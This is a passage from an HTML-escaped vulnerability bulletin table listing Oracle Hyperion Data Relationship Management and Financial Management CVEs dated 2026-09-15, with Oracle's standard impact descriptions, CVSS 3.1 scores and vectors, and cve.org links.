&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87129&quot; target=&quot;_blank&quot;&gt;CVE-2026-87129&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via SMTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87130&quot; target=&quot;_blank&quot;&gt;CVE-2026-87130&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87131&quot; target=&quot;_blank&quot;&gt;CVE-2026-87131&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87132&quot; target=&quot;_blank&quot;&gt;CVE-2026-87132&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. While the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87133&quot; target=&quot;_blank&quot;&gt;CVE-2026-87133&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via TCP to compromise Oracle Hyperion Data Relationship Management. While the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87134&quot; target=&quot;_blank&quot;&gt;CVE-2026-87134&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87135&quot; target=&quot;_blank&quot;&gt;CVE-2026-87135&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87136&quot; target=&quot;_blank&quot;&gt;CVE-2026-87136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87137&quot; target=&quot;_blank&quot;&gt;CVE-2026-87137&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via SOAP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Data Relationship Management. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87138&quot; target=&quot;_blank&quot;&gt;CVE-2026-87138&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Data Relationship Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87139&quot; target=&quot;_blank&quot;&gt;CVE-2026-87139&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Data Relationship Management. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87140&quot; target=&quot;_blank&quot;&gt;CVE-2026-87140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. While the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87141&quot; target=&quot;_blank&quot;&gt;CVE-2026-87141&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Hyperion Data Relationship Management. Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Data Relationship Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Data Relationship Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87142&quot; target=&quot;_blank&quot;&gt;CVE-2026-87142&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87143&quot; target=&quot;_blank&quot;&gt;CVE-2026-87143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87144&quot; target=&quot;_blank&quot;&gt;CVE-2026-87144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data as well as unauthorized read access to a subset of Oracle Hyperion Data Relationship Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Data Relationship Management. CVSS 3.1 Base Score 7.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87145&quot; target=&quot;_blank&quot;&gt;CVE-2026-87145&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87146&quot; target=&quot;_blank&quot;&gt;CVE-2026-87146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. While the vulnerability is in Oracle Hyperion Data Relationship Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Data Relationship Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Data Relationship Management accessible data. CVSS 3.1 Base Score 7.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87147&quot; target=&quot;_blank&quot;&gt;CVE-2026-87147&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Data Relationship Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Data Relationship Management product of Oracle Hyperion (component: Access and security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Data Relationship Management. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Data Relationship Management. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87148&quot; target=&quot;_blank&quot;&gt;CVE-2026-87148&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 10.0 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;10&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87230&quot; target=&quot;_blank&quot;&gt;CVE-2026-87230&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87170&quot; target=&quot;_blank&quot;&gt;CVE-2026-87170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.9 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87172&quot; target=&quot;_blank&quot;&gt;CVE-2026-87172&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87173&quot; target=&quot;_blank&quot;&gt;CVE-2026-87173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87175&quot; target=&quot;_blank&quot;&gt;CVE-2026-87175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87176&quot; target=&quot;_blank&quot;&gt;CVE-2026-87176&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via SQL to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87184&quot; target=&quot;_blank&quot;&gt;CVE-2026-87184&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
